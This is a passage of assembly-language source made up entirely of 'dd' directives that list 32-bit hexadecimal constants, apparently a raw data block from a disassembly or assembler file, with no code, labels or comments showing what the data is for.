		dd 66CC809Ch, 1F07ADE6h, 84CA520h, 56506DA7h, 1625E07Eh
		dd 2752E5h, 82991389h, 0AD002653h, 88B1C5B0h, 2293CDh
		dd 2D980DA9h, 12736AA8h, 2C118700h, 6307B2A4h, 9D41C0DDh
		dd 0EDA0C52Fh, 31ACB707h, 0E8F03962h, 1E34F752h, 0FA133349h
		dd 3ACEDCACh, 6CE37380h, 0A2A3B211h, 0EF50DF00h, 255B7633h
		dd 55F6C9h, 4743D8EBh, 0DDAE5D29h, 0C0D70E00h, 0ED3CB968h
		dd 0C9800091h, 701AC56Ch, 0A2C0D21Ch, 0EAB9357Ah, 8F816h
		dd 1DAE026Fh, 450609A2h, 0DE320103h, 9DCEF56Ch,	5D9AC3C0h
		dd 1AC0C011h, 0D5369DAEh, 9730BB00h, 0B6CF19F0h, 92810118h
		dd 68D84372h, 25BC53EEh, 7E5A6DC8h, 5819A50Eh, 0C423A00Bh
		dd 1DED04B1h, 0C0466E8Bh, 0E7FD65D6h, 3CFA8898h, 0A3393Dh
		dd 0D312FE3Bh, 736B090Eh, 0E5D50051h, 7DD22D5Ch, 3D00B4A1h
		dd 410EAEF9h, 0A9230Fh,	7C932A8Fh, 0EF7FDC81h, 4A740800h
		dd 55274753h, 987000B1h, 5E195A4h, 0CC18FF23h, 46A83FE2h
		dd 9F890040h, 262E3A4Ah, 4C00FE78h, 9DF809CFh, 1CB32313h
		dd 409F6C1Fh, 1A2D75DAh, 0D9037394h, 0A461EEBCh, 36B1C89Eh
		dd 0C43100AEh, 0B9809A97h, 7400BE0Eh, 9281EC7h,	758813h
		dd 46249BF6h, 0F8227184h, 418ACF01h, 0CD64A5B5h, 481CE1FCh
		dd 760AEC29h, 0AC693Ah,	0A6B9BAF9h, 8B001B9Bh, 0C7709D54h
		dd 7831EA2Ah, 3FE500A9h, 2FF23789h, 46508A43h, 64005AC0h
		dd 490F72BCh, 1D8B130Bh, 0C03A591Ch, 0E15675B3h, 1603B5D8h
		dd 17FD461Bh, 0D72817A2h, 50CF0078h, 44E1122Bh,	0AA662D00h
		dd 5E36792Eh, 0CD090E9Ch, 42E0DFB5h, 92EDF90Fh,	52A8EC60h
		dd 6710E0h, 35A50CB6h, 5E1374AEh, 7551600h, 6D1CB032h
		dd 3FFB0F68h, 0BFD745C7h, 2AD8A307h, 14064420h,	99B86Ch
		dd 24FBCC38h, 0B1FAB715h, 0DF366000h, 39681FA4h, 5570025h
		dd 8EA3426Bh, 3F002E88h, 0F074B182h, 7FE9D4E2h,	9C6700EBh
		dd 0E8BB02B7h, 6A00A3ACh, 85972A6Fh, 455C20h, 0D081AE39h
		dd 8FB6E1F2h, 0C0B3F803h, 633F78h, 32C8FD28h, 7F5054BEh
		dd 8375DB00h, 45E1C81h,	0D57D4Eh, 213ACBA0h, 0E5FB6BB4h
		dd 0D25AE40Ah, 1580C072h, 24C310E2h, 83EC68h, 892AA7ACh
		dd 0FFD470E4h, 0DBEA7901h, 20CDDE19h, 24030530h, 0B447BCh
		dd 93630F7Dh, 0B60F51C2h, 6168C532h, 0E297E4B0h, 0FFC7EECh
		dd 309BF075h, 5E4250C1h, 3B9EE076h, 21A29500h, 27647CFCh
		dd 0F3DE0335h, 0FEB64DACh, 94E3990h, 737C1748h,	7618820Eh
		dd 0A0F884EAh, 0D3BE0080h, 4C5049FFh, 0B5531106h, 0A71494FBh
		dd 0F4ED0Ah, 4EAB2209h,	1B26CCFh, 35A672E3h, 61BF0138h
		dd 0BCDD858h, 19657401h, 0BBDDFDA4h, 0DB519Dh, 18CC9ED1h
		dd 8C7FF301h, 29987B70h, 781A2612h, 19BCC842h, 7EDC19Eh
		dd 0D83530h, 743CD98Bh,	3A78A6BDh, 0C6578000h, 11EA656Fh
		dd 1D97287Dh, 4CF0BDB4h, 8D5AFB00h, 0BDC3AA46h,	782C0048h
		dd 8754CC09h, 4B0E589Eh, 406E5BDFh, 0FB46201h, 1C61EA76h
		dd 3E7511h, 455FA637h, 0DE009A16h, 0F365541Fh, 0F475A53Ah
		dd 28020069h, 0E80B46DDh, 66078E95h, 0F7DCE931h, 0F62B7Fh
		dd 0FE419F8Ah, 0E1D10AB2h, 0E08303h, 1BEC13BDh,	9324C29Eh
		dd 0D3003452h, 9FA8C4EAh, 4F5B0C08h, 3818567Ah,	0FD5C300h
		dd 52213258h, 36330428h, 80B05E05h, 0DEBDFBE4h,	50826700h
		dd 7095BB84h, 0E73000B7h, 80BC16FCh, 0B9001EA7h, 2CB1B26h
		dd 29E61Ah, 34A32DA4h, 0ADF0DB3Ah, 4D9E6300h, 392426F1h
		dd 0EAB80072h, 2178F657h, 3F00964Eh, 5BFE8DDCh,	342D38h
		dd 92E1C20Fh, 0FDBAB754h, 477B3712h, 0D31E7800h, 169E558Ah
		dd 641083h, 0D5FB3FA5h,	5400BF61h, 0A8C011D6h, 0F4FBEB3h
		dd 1A2BF5E6h, 90A576B8h, 0CD3D6200h, 0D530A961h, 0F4513E59h
		dd 9F19DF9Dh, 0FC434069h, 288B0FA2h, 8E9A3F39h,	60F54145h
		dd 92F41677h, 123CB242h, 1E90601Fh, 1BA50324h, 7FC37967h
		dd 370545A8h, 10D2C528h, 100F173Ah, 16338079h, 0F7A37C28h
		dd 940B83B0h, 72EF9580h, 0B0100C9Fh, 2208ED87h,	0DD667500h
		dd 45350DE3h, 7F850468h, 0C046679Dh, 4D63BD1Fh,	89606A00h
		dd 790D055Eh, 590F0238h, 9FD096A3h, 80251469h, 506EF270h
		dd 0EA9A054Eh, 2829CF5Ah, 0B9C53602h, 435658A0h, 71105879h
		dd 181FAC1Bh, 0AF21F916h, 0F020F390h, 42458D00h, 1C23471Fh
		dd 463000DDh, 0CB43918Ah, 9800339Bh, 0DCD3826Ch, 0E983A7h
		dd 0D73C8867h, 0DFAE4226h, 70129200h, 680B8B25h, 6A5B067Ah
		dd 0C0415AE5h, 0E0DE7805h, 1980CE30h, 0E242B391h, 58A4008Eh
		dd 906E568Ah, 9C003A99h, 0B833B443h, 391138EDh,	0A89E8C42h
		dd 0F7D440B1h, 7ABD713Ah, 0A31D3C00h, 0AF5D8897h, 33239A7h
		dd 84504AACh, 0D27FAD4Ch
		dd 37C0BF44h, 6E02C3CAh, 7B46075Ch, 1E0C603Ch, 13622C60h
		dd 55D3824Ch, 34443B17h, 14994Ch, 0D19310F9h, 4DBFF4h
		dd 4C7B5CF0h, 228BD0F7h, 0B281CF00h, 66A1DE9Ch,	9D981CE8h
		dd 0CC33802Ch, 6A4C9E0Dh, 0A08590CEh, 531F8B7Eh, 0C56D00D4h
		dd 523E3CF3h, 2F1FCA44h, 6AC0A037h, 322C1571h, 314C2E1Dh
		dd 12A0058h, 197BF91Ah,	0F8EA4F00h, 0DBE257B6h,	2660003Ah
		dd 2FB29F25h, 6677FDCCh, 2C64C101h, 764E0A8Ah, 609BD880h
		dd 0E4B735B9h, 17F40902h, 0E03DEC4Fh, 90957CCCh, 32B93A18h
		dd 1F180A01h, 9EB31DA8h, 0DD00A1B0h, 20A922ABh,	56D20117h
		dd 2BDA0B94h, 209C2909h, 6A54062Eh, 318FCEDBh, 0C86B4F06h
		dd 5448E746h, 7B3CC73h,	0E316F85Ch, 0CE60509Dh,	0E9B8A8FDh
		dd 63892001h, 79B84803h, 28FCCBE4h, 24BD28A5h, 40FC8424h
		dd 0B3105650h, 8395261Eh, 132567C5h, 59531C90h,	9A78134Ch
		dd 0FCE00CD5h, 6C163C19h, 0AA004995h, 36B6CEF1h, 3EB300D6h
		dd 0E5F01FF4h, 7703F2A0h, 2115BB06h, 3DFD98A1h,	9D493A12h
		dd 0DA29E280h, 247E425Ah, 0F3704475h, 0E5C29903h, 0E01E0B88h
		dd 0E63CD15h, 6271E6B3h, 2B40564Fh, 826D4D0Ah, 1A3A6505h
		dd 92805FA1h, 0FEA3026Eh, 61E4044Ch, 80BA299Ah,	0E8B8D620h
		dd 0DCFDDB2Ah, 0E702CC00h, 0F62D932Ah, 0AD771FBFh, 80869E8Eh
		dd 802C56B3h, 0CA003DF3h, 0FB9730B4h, 0E3196866h, 5D94097h
		dd 92F66F1Ch, 0AD80E8E4h, 60ED2E7Eh, 0A0C8B350h, 84FD3E00h
		dd 0CF3D36C9h, 5F71F67h, 72C08004h, 0CE6EAC11h,	0AA1ABC02h
		dd 4075C1C4h, 0F783EE0h, 38BD1F0Ch, 500B805Fh, 207BCA95h
		dd 1E6E9B02h, 0E057A272h, 1C1F0488h, 87D0E5EDh,	60598D50h
		dd 23760B78h, 0E08BC938h, 0C1A0AA88h, 0EEF513CFh, 8C341085h
		dd 54FBDF81h, 159C400Ch, 3400D8A7h, 0CF869383h,	76616Ah
		dd 2BD92216h, 0ACA7EB0Bh, 1AB6AB03h, 0D9DD6B40h, 54247F65h
		dd 0DC200D2h, 0A92A703Ch, 9B1831DAh, 15F0F58Bh,	0C2C60135h
		dd 6F224FA6h, 0EF6120CAh, 35C7949h, 44818AB9h, 0C0E98087h
		dd 75510006h, 9239EEB8h, 46029D23h, 0ABAFC374h,	103C68D0h
		dd 0B9500011h, 9F0A53Eh, 5A0004ACh, 4AC5D330h, 1C14F8Ch
		dd 0EC200669h, 0C85D1B13h, 254A4CD9h, 0FBDBFC70h, 237036Eh
		dd 0E252B5A4h, 758E4A90h, 51994400h, 973F6F9Eh,	0AD59FAh
		dd 0F5C71Ch, 0B3051AFBh, 0CC00EEC9h, 0B5D088CDh, 0C580FFh
		dd 0C7DEA52Ch, 400CC8E7h, 258A1C00h, 0B229FA62h, 0D7718ABh
		dd 1A4CC8A8h, 0DD064E00h, 0E04F99D1h, 560B1EAEh, 4D490F68h
		dd 4B77D063h, 298BDBE0h, 21A30C00h, 93574526h, 0B55A009Dh
		dd 0A1313C17h, 75009676h, 0DF1E2B98h, 3A8B83Ah,	6A19D3C2h
		dd 0EDE87BA2h, 31E6D43h, 0CB00699Ch, 0B260C8F4h, 77C500E3h
		dd 95DAFA9Fh, 0B3E00173h, 44888E0Eh, 0C9B784E2h, 0B8825F80h
		dd 3247A0Bh, 307EB3B6h,	2800B061h, 0E04112A1h, 0BEFED23h
		dd 0A60257F2h, 86623A80h, 0E5384A1Dh, 60918036h, 0CA417F3Dh
		dd 76560001h, 0C57DAF02h, 7009EA1h, 61C38E87h, 4DCD6ED4h
		dd 7728480h, 7CB551C8h,	62C15018h, 6800E6C7h, 0A09B98DAh
		dd 9FBCECh, 2DF9743Bh, 0E967B497h, 3CD91124h, 1C200069h
		dd 7A0860h, 0A71F7D3Dh,	0F0617552h, 0CE2C7018h,	0B056E3C8h
		dd 48E469C4h, 5C2FE982h, 0D4E63440h, 0CCD0FD1Eh, 0BE001556h
		dd 6F97DB43h, 0BBA607FAh, 86E49063h, 57044835h,	785BB3B9h
		dd 0AABA9091h, 0B27405E8h, 2D70088h, 0EAD8CF72h, 8602E854h
		dd 8AC8854Eh, 2C4C4831h, 0F8644DABh, 0B73CA430h, 4EEA510h
		dd 62009C92h, 54D6D812h, 9F0291h, 0BB6E05CCh, 4437CBBEh
		dd 4C333403h, 1D31BD8Bh, 0CC6C7330h, 8211C22Fh,	0E6FEB9F6h
		dd 0B684BC04h, 2C80D427h, 0D9DD9CFh, 0E0F9A414h, 5E3CE080h
		dd 5B82C007h, 65D2D59Ch, 0E34E4EBh, 0B6FAF3F0h,	0BF784A16h
		dd 6A500D0h, 0C0132F4Bh, 4319B900h, 0E3B04122h,	268525F0h
		dd 0B2E1CA0h, 0A81DDC7Ch, 263D8625h, 0FE00A403h, 0F307B86Fh
		dd 6CBB001Eh, 6DEF5E15h, 70E95A5Bh, 0D80125C0h,	2C95F71Ah
		dd 4EE52993h, 18B933C4h, 688AC262h, 0E34855FDh,	812B017Ch
		dd 787FCAF4h, 704648E0h, 652127CFh, 3E07C8Eh, 0E0C70A72h
		dd 0A796F500h, 60D8F3ECh, 0C47F0EDDh, 0A9E08CBFh, 38F15F9Ch
		dd 0B8841400h, 1792476Bh, 85FC0654h, 0C1B57287h, 0BECDD007h
		dd 7CA0A373h, 6DA9B28h,	4A101CCEh, 0E4003AB3h, 0DC5AF1CDh
		dd 81B535h, 5CA0FDAAh, 0A174591h, 67F2100h, 713234DAh
		dd 0EB576E7h, 0B80D8515h, 74BA8120h, 0B100C864h, 91BBCF95h
		dd 3CB7C9Eh, 89AD0722h,	0E4E8EE48h, 0D60E04FDh,	20B657CCh
		dd 1139D0FFh, 0DD2438A6h, 1D876500h, 97C699BFh,	6F1E503h
		dd 88EBADF9h, 20E90Eh, 0E07E2B9Ah, 11970F87h, 26D95C00h
		dd 0E6B5EA52h, 39F1007Fh, 126475B1h, 0A0000729h, 0CB8A5357h
		dd 0B81D6Fh, 1FDD1E63h,	0C9F0A450h, 44A5AA00h, 90313D5Fh
		dd 0E07A0348h, 186906D7h, 8D74D9D0h, 5C00537Fh,	75EA93C8h
		dd 0BD7639h, 4E99AA8Ch,	0AF60CB3Fh, 0AC5C3670h,	94180092h
		dd 0BA0A2CDDh, 23E200EBh, 59DCD608h, 0C10028EAh, 0CA073350h
		dd 57066Bh, 2D166D8h, 85D7C769h, 27CB5100h, 0D3AABDFAh
		dd 0CADA004Eh, 5BA24AF3h, 323187AFh, 0C744A1CBh, 0A5911C40h
		dd 31B70AAh, 112FAB85h,	0FFE3C6B7h, 57061878h, 0FDD1E0B2h
		dd 0C2521F20h, 27A18C6Dh, 220E4C40h, 9FD4448Dh,	0CA065030h
		dd 2AC0161h, 0AFF3E2D8h, 70198171h, 0C80F4D4Ch,	142304CCh
		dd 449443CAh, 1206167h,	50914454h, 4ECB346Ch, 0F38D1A01h
		dd 4C7914ACh, 5837EF0h,	0D1D43558h, 95DF0CA2h, 340005A8h
		dd 0B559B84Eh, 0EAFC5Ah, 8CE26857h, 4DF99B82h, 7B10500h
		dd 4072D07Eh, 2060005Dh, 70F30AFCh, 0E4008E48h,	0C74E1054h
		dd 0B7D09Ah, 0B945DF46h, 15F0225Eh, 123E7400h, 30833965h
		dd 3A6F0F0Bh, 0BBE0B1E6h, 6ADCFC25h, 73092A00h,	5161D7FDh
		dd 0A7BCA8E2h, 0CAC50A36h, 7983C5Bh, 46231444h,	1FE421ACh
		dd 0F35C607h, 0CEB72F9Fh, 84417DD5h, 15169B62h,	2785C8h
		dd 907130CCh, 0A9B0FB4Ch, 0D810CE00h, 72117D2Fh, 2418C4C9h
		dd 483203C4h, 0DF06A4D1h, 2D065063h, 0D37E9F06h, 5CF7F078h
		dd 673FA4Ch, 54CB8D52h,	0E1600842h, 2E551521h, 0ED8903EBh
		dd 1E1137D6h, 838E5006h, 0C968C6B8h, 200906A9h,	116EDD86h
		dd 92EE8900h, 0F3D2D859h, 0AF01D02h, 218518F4h,	930015B2h
		dd 278226A9h, 85463E8h,	0E051C060h, 83876900h, 665A47h
		dd 7AF3D038h, 0C65328E2h, 0CFE2400h, 7311DC1Ch,	0A1A14EEh
		dd 0DE85B8F0h, 94C0357h, 1907C6EFh, 7627814Eh, 0C05CD183h
		dd 0C105B014h, 0A1C82629h, 4103611Ch, 98AD87A4h, 47210F08h
		dd 1A100A0h, 9E412435h,	58146ACAh, 408807B5h, 0FC8CA3ACh
		dd 4CF13F2Eh, 0EF822C6h, 872E6111h, 0DFA54C42h,	0AAE8D940h
		dd 69B0825Ah, 24D8D4DDh, 0C3E4F903h, 5AC11205h,	423DF498h
		dd 4A0E2900h, 1A3BDFD4h, 0EB9100FCh, 0C67D79FDh, 12B8EEC4h
		dd 0CF66000h, 56AE0817h, 617647h, 6312DA15h, 2AD5ADE8h
		dd 6631DC00h, 2C0706CDh, 0FFEB00D8h, 0B92B2868h, 0E00CAA5h
		dd 0AAE195D5h, 2FAD79h,	0CDCEFA43h, 2815E836h, 0B187CA03h
		dd 0EB2D4CECh, 97FDB002h, 0B3AC00A3h, 0F3DA6A82h, 0BC00C1B0h
		dd 0C3E33816h, 3943A98Bh
		dd 0E5004828h, 62CDB24Ah, 1A0029F9h, 9B578752h,	54C637h
		dd 91E503B8h, 8D4BF20h,	1F002F7Ch, 331183DCh, 97BC953h
		dd 6BD8DF7Dh, 5E1CA183h, 95DC8B8h, 0E0DA000h, 36753590h
		dd 0AE0A5078h, 9F371E28h, 8BE1C3BBh, 61F0D41Dh,	560122F4h
		dd 8D41977Ah, 91E002C5h, 0DBD7005Bh, 3EC79450h,	0C900B2C0h
		dd 0ADD8E93Fh, 1E04613h, 0FC19E87Bh, 7A2DBCC2h,	6C9A43C0h
		dd 0C1520132h, 80D9ED69h, 2B15D824h, 54353Dh, 0C514DB91h
		dd 0FADF1A64h, 0CA7D0E0Eh, 0D500B0E8h, 0CD4F6BA8h, 46592F16h
		dd 0A084900Eh, 577A1708h, 0AF620056h, 0E904867Bh, 8E00F4ECh
		dd 79B1039Fh, 0DCC8D3h,	0ABDE90B7h, 110694E6h, 1A00FA7Ah
		dd 92E54BCAh, 22999Dh, 0D57BB148h, 0CC9308E0h, 0ACE9BE00h
		dd 63F75254h, 348E0CD9h, 36904277h, 6BB5F200h, 826AC0A8h
		dd 2C0F03E7h, 0B61BEDC6h, 9A00E07Bh, 537902C9h,	0BE5379Eh
		dd 563310F2h, 64721F80h, 1D741F8Ch, 67DBAC02h, 80650F83h
		dd 7A2CDFDDh, 7A92786Bh, 6CB004Bh, 478722CFh, 87FFB669h
		dd 0D2F97560h, 662AE600h, 0C6371BBh, 2D0D1894h,	0E3027D20h
		dd 0E143A5C0h, 82AE080h, 18637BD5h, 68C8F1D3h, 0BE003F50h
		dd 8CA1CFA8h, 8F0A5Ah, 3C0CC5E1h, 8A3D6A3Eh, 41395600h
		dd 805F64B4h, 0FC6D0083h, 3C7CB1DEh, 2C00B5A1h,	0B689F33Eh
		dd 30BD0B94h, 49800609h, 4AF6F63Dh, 6C693E00h, 0A7403151h
		dd 0E87084h, 7E0FB3E1h,	0F5EAD93Fh, 80B80C39h, 0C84353F4h
		dd 3A79105h, 7F4D72DBh,	701EAF8Ah, 558097CAh, 6D5D66C7h
		dd 0F1800022h, 0A51CE00Dh, 471493BDh, 0D03F74h,	4DB2EF33h
		dd 0C13195Ah, 3118CF0Ch, 93DEE49h, 0EB3380Ah, 0FD7342Dh
		dd 9F3180EFh, 0DB2137h,	12610D58h, 0E2BFDC99h, 39CC8554h
		dd 4C00B1DDh, 267D412Fh, 40011E27h, 0DF20325h, 4888C974h
		dd 0E8008539h, 909BA908h, 3BB76A57h, 0C3898CD9h, 9800CDB4h
		dd 0DD918409h, 6BDF1C00h, 3A444FCAh, 0FBE304ABh, 83DEA649h
		dd 75E84890h, 9678FC02h, 0B0F1DF1Eh, 81BFC7C5h,	237FB401h
		dd 86E8DEECh, 0B3D81206h, 133807A1h, 0F47ABCh, 2EAFB5E8h
		dd 2F9892D5h, 0AD38FB7Dh, 8CD28057h, 3794E72Ch,	0CB160012h
		dd 0E9E6E4C3h, 42EA4FE0h, 0A8491128h, 29445000h, 7C38C632h
		dd 0C2280E9Bh, 9FE170BDh, 802D2A77h, 7E1B6AF0h,	79DCF1h
		dd 0DEEA6E6Bh, 0AFAB3EF7h, 40218101h, 0EDA394CBh, 1332C440h
		dd 0E8D9019Ah, 73E36401h, 764C22EFh, 41AC9D00h,	916C7CB2h
		dd 0FD8F0066h, 0CF79AD16h, 0A13F07D9h, 741B03A4h, 80016811h
		dd 78656ED6h, 0BFD700D0h, 0A7B376A8h, 5A053E4Ch, 0E8D1A695h
		dd 2A717AC0h, 0C87D89h,	3AC09C0Fh, 0CD0B3D06h, 0A8904BEAh
		dd 5E926700h, 8237F48Fh, 950903DAh, 0A5D791F3h,	60B6E4E8h
		dd 4000FEE2h, 86D001FFh, 94DF95h, 0EFDE5629h, 2F96D793h
		dd 55913800h, 25A117FAh, 0BC821EA8h, 0BB4A8059h, 0A718698Fh
		dd 87C93D3Eh, 0CB8E081Ah, 48968B0h, 9F5E3911h, 9323CF05h
		dd 4D458064h, 90A0C690h, 9F629EAh, 9F2B5400h, 89F61292h
		dd 56A400F7h, 3D080A7h,	0F17EC2FFh, 60E1A82Ch, 4134CA07h
		dd 86407F87h, 739961C7h, 14810072h, 4CAC3E37h, 412627BEh
		dd 0B100482Eh, 13AA3D20h, 1EFC86h, 90FFDE2Bh, 0DBEE25FDh
		dd 8FEF1FCh, 9005AF8h, 6FD04EB3h, 0EF43132h, 0AE046B2Ch
		dd 31FB0806h, 13DE3A00h, 1FD9B4C0h, 0E7CD037Fh,	21B969FAh
		dd 0EC782002h, 0C2AA7B41h, 4139C25Ch, 0F5FCBADCh, 1C934CA5h
		dd 0FD71E500h, 708BC76Ah, 768FB704h, 0EC931F7Eh, 6EF2C069h
		dd 0E490310h, 31FBF03Dh, 83AAF8F9h, 0C49AEA41h,	943101D4h
		dd 0D3A29E59h, 200FDB2Eh, 83FB2704h, 0EBF3CDC3h, 0E276B8C5h
		dd 3CB8000Fh, 12589BDDh, 31C32565h, 984B51C5h, 331440C2h
		dd 0E64FE70h, 0D2346109h, 0E048A020h, 12441B53h, 40A8E535h
		dd 0DCB5C6CCh, 7D02B165h, 5E83A066h, 41DC830Ch,	0B9C3A0ACh
		dd 9DA31F09h, 1E89C0E8h, 0AEFAF5FBh, 76F64600h,	7E964118h
		dd 8B570117h, 0ABF7EE4Fh, 0F82EE890h, 5C25501Dh, 9CDA8180h
		dd 0B567C4h, 880FD033h,	0AB7820B2h, 7FD17440h, 0BB756Eh
		dd 0DC1D07F9h, 41E5620Fh, 8090D37Dh, 1201B07Eh,	0E31B9917h
		dd 1A2048B5h, 50A2177Ah, 3F23010Ah, 609A4329h, 450ECEB8h
		dd 0CF4477h, 7F5BB5DEh,	12DBF4DCh, 0A71BD5h, 0B688E02Ah
		dd 0A83F6F0Dh, 67D980C1h, 0F14E1CDBh, 0E7D50F49h, 0ECC1A030h
		dd 0F824C599h, 53019D61h, 714DCE2Fh, 50BD4622h,	1DE0F7h
		dd 0F29C0950h, 9DBC49CCh, 0E87F9A00h, 5A0D2A5Dh, 4D880024h
		dd 0D79CD4EEh, 0C000EFC9h, 9FF338E4h, 1785507Ah, 535E48h
		dd 6C731823h, 17008608h, 77CC4D36h, 23795Ah, 994A2269h
		dd 0F2117F1Ch, 0D80703E2h, 7E180561h, 0A5DBB730h, 0B651030Ah
		dd 0D7DA4CE4h, 9A0FA0F8h, 9E2A5A03h, 0E85B07D6h, 77B60C49h
		dd 0B8BA0064h, 6C2324FCh, 7A05EC65h, 0A928FA90h, 48E6BF1Dh
		dd 19CB3700h, 1D458B4h,	0C06D7244h, 811D026h, 0CC100ADh
		dd 0D5ECFE08h, 760E163Bh, 4FC6FDC5h, 492A8184h,	89CCADFAh
		dd 0CA300E0Bh, 8563A213h, 76C01E16h, 0EF48A16Fh, 29CC001Bh
		dd 9A06FB10h, 0FC4BEEB6h, 26492F6Ch, 0DA01F6FEh, 95A7D92Eh
		dd 0E56448D6h, 0F9E839h, 0D5A3DD32h, 0ECDCE647h, 0D1CFA400h
		dd 0E9977927h, 7DD2003Fh, 8BF03584h, 0AA0B4C26h, 2086546Dh
		dd 23DCB60Ch, 466A036Eh, 0B7198069h, 570891CDh,	476E478h
		dd 747CBD7Bh, 0BAE861B0h, 0DB3E4518h, 0FBD25C89h, 5F1E30BCh
		dd 5E244750h, 66C6DE78h, 5D301889h, 0C2F61070h,	53DA3001h
		dd 7F9D5720h, 0DCD45A1Ch, 5BFC7C03h, 0E670E780h, 0C0F0A4C8h
		dd 99867189h, 1B742660h, 9AA906BDh, 5010011h, 7B4FC819h
		dd 402D5C1Eh, 7C6D6DBh,	0E57F692Dh, 9F684F9Eh, 10C7624h
		dd 10C101D4h, 350AFF0h,	72F5B9FBh, 17A82F1Fh, 803F555Bh
		dd 0DBB06094h, 0B8DE3Ch, 111EDDA8h, 24E26610h, 0D499C500h
		dd 0E0730F05h, 0E6260516h, 0C0874BF6h, 0CE5668E2h, 0D29E100h
		dd 6920FA14h, 0E33C004Dh, 3D9DBD24h, 0F138F6BBh, 0A8C38015h
		dd 1E9A27EEh, 0A9AC5049h, 2C1F0734h, 40F6E414h,	7F8C6A92h
		dd 33F95900h, 813850B1h, 4DC9A8Ah, 216ED0DCh, 7D3E80A4h
		dd 65007A76h, 8F9F5D39h, 393B3C31h, 918E873Ah, 9D424A19h
		dd 8C80EB1Ah, 57E97058h, 11B06C30h, 47636Fh, 0D027463Ah
		dd 5F68C7EDh, 0B369EB02h, 0A0DA6EEEh, 0C66C83F8h, 0CF50C7C0h
		dd 0F89F0288h, 24805D42h, 128AA4E5h, 0C27C7103h, 0E0088DB1h
		dd 0E0E8E7h, 4C580BB8h,	0D7F974B5h, 28DE0424h, 5C298D81h
		dd 8087DC21h, 77686D26h, 0C8793083h, 0C8C0DF12h, 98E0AAB0h
		dd 59340029h, 0D452B7EEh, 303B213h, 46F990Ch, 952CE086h
		dd 30A600DEh, 0AEE76102h, 0EC012535h, 0C0D896ACh, 0A7F010D6h
		dd 6F363330h, 1A41120h,	0AD150508h, 0F0C1080h, 49287992h
		dd 3A93533Ch, 0F844070Ah, 0E16103B1h, 7087EAECh, 7D947309h
		dd 5A688618h, 5072A9h, 0EE424F11h, 51400C47h, 2FF40519h
		dd 21805B08h, 0C6EE3A2Dh, 610349FFh, 5F1542EDh,	58486381h
		dd 0E0025A74h, 9592AC0Ah, 5C7A6031h, 96C400EBh,	1BCC6C8Dh
		dd 0A000696Ah, 0AF02F53Dh, 1CE98A34h, 0C0A1D003h, 5E64C24Bh
		dd 1B00310Eh, 0B349BA6Dh, 7A4E8B5h, 1D371587h, 31A9C0C1h
		dd 3B014B22h, 5C065DBFh
		dd 3EC8B1Ah, 3C7BE458h,	7C4F18h, 2C46D259h, 1E4C8794h
		dd 701FAE0Fh, 80C109D5h, 0B9970C03h, 8C5D001Bh,	0A1FBBA38h
		dd 2B0FFE84h, 455B77h, 1814BE6Dh, 7C0300A3h, 0DDDB86BCh
		dd 0E900EFE2h, 0A67FCB96h, 2CEDA4h, 36B7282Dh, 2AE60B5Ah
		dd 2FC63301h, 0F56304C4h, 0F07EA60h, 0A2925EB6h, 0CA169E0h
		dd 470084E8h, 0DBE74638h, 0F275C5h, 0CDE0B0C2h,	5D0735ADh
		dd 3117D40Fh, 0EDD380FAh, 9ADA45h, 0A2F947DEh, 16B6BE28h
		dd 5F77D8C0h, 45CB9Eh, 203746B0h, 9A1EE6B8h, 0EF0097F2h
		dd 0E5791DDh, 77D02Fh, 1FF38A38h, 0B9CD6653h, 90B1BD2Ah
		dd 0BB57ED00h, 790DAC23h, 146500F9h, 1ABEEA49h,	2F141171h
		dd 1DCD58Dh, 64563CF3h,	65F4B7C3h, 0A4B100FAh, 764BE4BBh
		dd 7C0267FCh, 0D8C4D399h, 68EAE1D9h, 98A0E0h, 79E6C1Ch
		dd 8D74C665h, 0D4EF58h,	2AB84184h, 5F8EEDh, 1A9E4EF5h
		dd 7E4DC9B7h, 0F4F95000h, 7B16B804h, 58596112h,	205D344Eh
		dd 0C8283895h, 750ED217h, 0C19201FEh, 0FBCFDDD6h, 0FAB0F4F4h
		dd 0D97C0Ah, 6DF8FF9Bh,	0A68F1CB2h, 2F012300h, 0AC248237h
		dd 0CCAB00ECh, 0F92E5A4h, 293DD16Dh, 22F0862Eh,	33F8AF1Fh
		dd 0E87044DAh, 7E0DB198h, 90F70B30h, 6A3553h, 1499CB91h
		dd 0C72A6B7Ch, 0F002A300h, 0CAE31858h, 6AA00028h, 0D9260EE2h
		dd 1F003BB0h, 1E7BCA6h,	7AF1F2h, 461D8653h, 0CB2CB966h
		dd 5B28D300h, 6CB8EBDDh, 0E2B100C4h, 36692248h,	0D205DFB6h
		dd 92C5B21Bh, 94E4D002h, 974B0037h, 0FC007EB7h,	3CB144F1h
		dd 0EE965Bh, 5AE4362Bh,	2999086Eh, 0ED2F771Eh, 0F64100BFh
		dd 1B886A13h, 0D16C0004h, 0CE25F553h, 0B63E5FD0h, 99418710h
		dd 0BFF2C527h, 0F4644061h, 0C9B1004Ch, 22F10180h, 8B501B8Fh
		dd 0F938D494h, 7EAB8007h, 0B41FC34Bh, 90CAB074h, 0B9F500B9h
		dd 0DC11C948h, 9C00DDE7h, 55338105h, 0BBC363h, 0C2D68826h
		dd 87A93A06h, 1A301101h, 0C5F57674h, 263143C5h,	4F8EFCh
		dd 0FC0AC2DFh, 0B1D147A5h, 98084100h, 0CAB2C604h, 3B75009Ah
		dd 4C7672ADh, 0BD0FBCCEh, 24DB13D3h, 7D805DE7h,	95FF87h
		dd 0C845F2E3h, 5688B263h, 0B000E176h, 0C48A7A62h, 0B3D2D1h
		dd 50D96FDEh, 0E2BDA931h, 8E7F3700h, 0BB8978B6h, 235B00D6h
		dd 0C6F3E6C9h, 970094BEh, 0C832ED77h, 140CD9B2h, 908E101Dh
		dd 7229EE07h, 501C07B9h, 0C98F2C5Fh, 2220AB01h,	609CD03Ch
		dd 44B8ECh, 0D7BEC82Dh,	0AEFF1B50h, 0F79BE300h,	39069411h
		dd 76CC0052h, 4937E7A7h, 0A100247Dh, 2F62BA9h, 0F6135B6Eh
		dd 0FC7C4981h, 0FEA6F800h, 3D6150EAh, 60CB4514h, 3FA909E4h
		dd 0DE04A31Dh, 0B280A728h, 95242FDh, 0EC08B5F4h, 818BE825h
		dd 80B31F07h, 0BEE8811h, 26050D22h, 0AC125Ah, 76F5CE2h
		dd 149264D7h, 0D2B5850Eh, 67910081h, 3D27DEA5h,	0A7A4BC72h
		dd 31B083ACh, 8080E686h, 660524DBh, 0CCEE54A2h,	27AD9431h
		dd 0AFC04D02h, 42033E8Ch, 0F9BE8422h, 6436F91Fh, 0E2ABFAD0h
		dd 0B0E80AF8h, 9417F3h,	7AA77F16h, 0AD00E3C3h, 0A629597Eh
